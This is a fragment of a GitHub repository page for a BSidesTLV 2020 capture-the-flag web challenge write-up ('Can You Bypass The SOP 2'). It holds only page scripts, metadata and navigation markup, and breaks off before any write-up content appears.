src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>CTF-Writeups/BSidesTLV-2020/web/Can You Bypass The SOP 2 at master ยท trott4425/CTF-Writeups ยท GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="92AD:0D35:1297D73A:13181645:64121EBF" data-pjax-transient="true"/><meta name="html-safe-nonce" content="ed4fbad82c8ee6521e33bc21ecace70f1c8062152821fa3710766331c9599ef3" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiI5MkFEOjBEMzU6MTI5N0Q3M0E6MTMxODE2NDU6NjQxMjFFQkYiLCJ2aXNpdG9yX2lkIjoiODEwMzA5MTczNTYyMDYyNDA2MyIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9" data-pjax-transient="true"/><meta name="visitor-hmac" content="eb71bc0352f404659ad380984e4b4ebc4652561fcdc3014cd8dd6ae765887bf3" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:276119642" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content="Writeups for any CTF Challenges that I found interesting - CTF-Writeups/BSidesTLV-2020/web/Can You Bypass The SOP 2 at master ยท trott4425/CTF-Writeups"> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/66848648bc96426616bb7c3701d082ea58df06c32efe29c1517625258d657cb4/trott4425/CTF-Writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTF-Writeups/BSidesTLV-2020/web/Can You Bypass The SOP 2 at master ยท trott4425/CTF-Writeups" /><meta name="twitter:description" content="Writeups for any CTF Challenges that I found interesting - CTF-Writeups/BSidesTLV-2020/web/Can You Bypass The SOP 2 at master ยท trott4425/CTF-Writeups" /> <meta property="og:image" content="https://opengraph.githubassets.com/66848648bc96426616bb7c3701d082ea58df06c32efe29c1517625258d657cb4/trott4425/CTF-Writeups" /><meta property="og:image:alt" content="Writeups for any CTF Challenges that I found interesting - CTF-Writeups/BSidesTLV-2020/web/Can You Bypass The SOP 2 at master ยท trott4425/CTF-Writeups" /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTF-Writeups/BSidesTLV-2020/web/Can You Bypass The SOP 2 at master ยท trott4425/CTF-Writeups" /><meta property="og:url" content="https://github.com/trott4425/CTF-Writeups" /><meta property="og:description" content="Writeups for any CTF Challenges that I found interesting - CTF-Writeups/BSidesTLV-2020/web/Can You Bypass The SOP 2 at master ยท trott4425/CTF-Writeups" /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/trott4425/CTF-Writeups git https://github.com/trott4425/CTF-Writeups.git"> <meta name="octolytics-dimension-user_id" content="2302354" /><meta name="octolytics-dimension-user_login" content="trott4425" /><meta name="octolytics-dimension-repository_id" content="276119642" /><meta name="octolytics-dimension-repository_nwo" content="trott4425/CTF-Writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="276119642" /><meta name="octolytics-dimension-repository_network_root_nwo" content="trott4425/CTF-Writeups" /> <link rel="canonical" href="https://github.com/trott4425/CTF-Writeups/tree/master/BSidesTLV-2020/web/Can%20You%20Bypass%20The%20SOP%202" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Signย up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 